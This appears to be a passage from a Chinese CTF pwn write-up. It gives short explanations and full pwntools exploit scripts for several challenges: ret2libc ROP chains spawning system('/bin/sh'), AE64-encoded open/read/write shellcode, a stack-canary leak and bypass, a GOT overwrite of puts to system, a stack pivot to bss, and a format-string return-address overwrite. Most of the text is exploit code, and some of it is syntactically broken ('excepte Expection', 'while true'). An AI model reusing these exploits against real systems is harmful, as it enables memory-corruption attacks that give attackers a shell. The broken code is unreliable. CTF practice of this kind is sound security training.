se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))



sla(b"What's your name?\n> ",b'\xff'*0x11)
sla(b"> ",b'a'*(0x28+8)+p64(elf.plt['puts'])+p64(elf.sym['main']))
ru(b'.\n')
one_gadget=u64(io.recv(6).ljust(8,b'\x00'))
log.success("one_gadget:"+hex(one_gadget))

ret=0x40101a
libc_addr=one_gadget-libc.sym['funlockfile']
bin_sh=libc_addr+libc.search(b"/bin/sh").__next__()
pop_rdi=libc_addr+libc.search(asm("pop rdi; ret;")).__next__()
pop_rsi=libc_addr+libc.search(asm("pop rsi; ret;")).__next__()
system_addr=libc_addr+libc.sym['system']
sla(b"What's your name?\n> ",b'\xff'*0x11)
sla(b"> ",b'a'*(0x28+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr))


io.interactive()

VisibleInput

开启保护和沙箱使用ae64可以快捷ret2shellcode,orw

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


from pwn import*
from ae64 import AE64
context(arch='amd64')
io=process('./input')
#io=remote('...')

payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,0x20240000,100)
payload+=shellcraft.write(1,0x20240000,100)

shellcode=AE64().encode(asm(payload),'rdx')
io.send(shellcode)
io.interactive()

Read_once_twice!

第一次读canary 第二次绕过canary，ret到backdoor

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
io=process('./pwn')
#io=remote('...')
while true:

 io.sendafter(b'are turned on?\n',b'a'*0x19)
 io.recv(0x19)
 canary=b'\x00'+io.recv(7)
 io.sendafter(b'one more chance...\n',b'a'*0x18+canary+b'\x00'*8+p64((elf.sym["backdoor"]+1)[0:2])
 try:
 io.sendafter(b'hand.\n',b'ls')
 excepte Expection:
 continue
 break
io.interactive()

Got it!

名字上有got，那么应该就是对got表进行操作？

确实，可以注意这里这个溢出，输入索引v1会把save[v1]的地址存到now_save中，而输入16会把now_save的地址传给自己(now_save就在save下)，再次运算操作就会修改now_save的值，修改了指针于是先把指针修改为got之后，就可以根据偏移将puts(save[i])修改为system(/bin/sh) 由于本地环境不同记得要先patchelf一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


from pwn import *

context(log_level='debug',os='linux',arch='amd64')

context.terminal=["tmux","splitw","-h"]

io=process("./pwn")
#io=remote('172.22.192.1',54886)
elf_path = './pwn'
elf=ELF(elf_path)
libc_path = './libc.so.6'

libc=ELF(libc_path)

#io=remote("",)

#gdb.attach(io)

se      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia      = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
def add(num):

    sla(b'>',b'1')

    sla(b'Operand: ',str(num).encode())

def sub(num):

    sla(b'>',b'2')

    sla(b'Operand: ',str(num).encode())



sla(b'3. Exit',b'1')

sla(b'use?',b'0')

add(u64(b'/bin/sh\x00'))

sla(b'> ',b'5') ##返回

#puts修改为system
sla(b'3. Exit',b'1')
sla(b'use?',b'16')
sub(0x100) #now_save指向got.puts

add(libc.sym['system']-libc.sym['puts'])

#pause()

sl(b'5')
sl(b'3')

io.interactive()

栈的奇妙之旅

看名字估计就是栈迁移 PIE没开，只能多读16个字节，

bss段可写那么思路就有了

栈迁移到bss
bss里重新转移栈到输入时的头部开始执行rop
- 具体一点说先输入got泄露libc
- 然后pop出新的rbp可以执行read
- 最后移栈到头部执行rop即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
io=remote("172.22.192.1",50420)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

pop_rdi=0x4011c5
leave_ret=0x4011fc
bss=0x404000+0x200
main_addr=0x4011E5

sa(b'me?',b'a'*0x80+flat(bss,main_addr))

payload=flat([
 bss+0x600,
 pop_rdi,elf.got['puts'],
 elf.plt['puts'],
 main_addr
]).ljust(0x80,b'\x00')+p64(bss-0x80)+p64(leave_ret)

se(payload)
ru('\n')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
log.success('libc_base:'+hex(libc_base))
payload=flat([
 bss,
 pop_rdi,libc_base+libc.search(b'/bin/sh').__next__(),
 pop_rdi+1, #ret
 libc_base+libc.symbols['system']
]).ljust(0x80,b'\x00')+p64(bss+0x600-0x80)+p64(leave_ret)
se(payload)


io.interactive()

where_is_fmt

虽说是板子题但是很有意思（其实是我不会），bss段上的fmt 思路是

泄露stack
根据提示栈上有比较长的链子修改栈上的链子指向返回地址
通过修改后的指针修改返回地址格式化字符串泄露出的地址有好几个可以用，我们利用其中一个泄露出栈地址

泄露出栈的ret基地址关于payload，我们泄露出返回地址的栈地址之后，向偏移15的地方用$n修改其指向返回地址，

如上图，经过修改我们已经在stack的链子上布置了ret的地址第三次在指针修改过后修改偏移45的地址的返回地址到我们的后门

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
io=remote("172.22.192.1",64269)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))


io.recv()
se("%8$p")
stack=int(rl(),16)-8
log.success('stack:'+hex(stack))

payload=f'%{stack & 0xffff}c%15$hn'.encode()
sla(b'chances',payload)

backdoor=0x401202
payload=f'%{backdoor & 0xffff}c%45$hn'.encode()
sla(b'chances',payload)

io.interactive()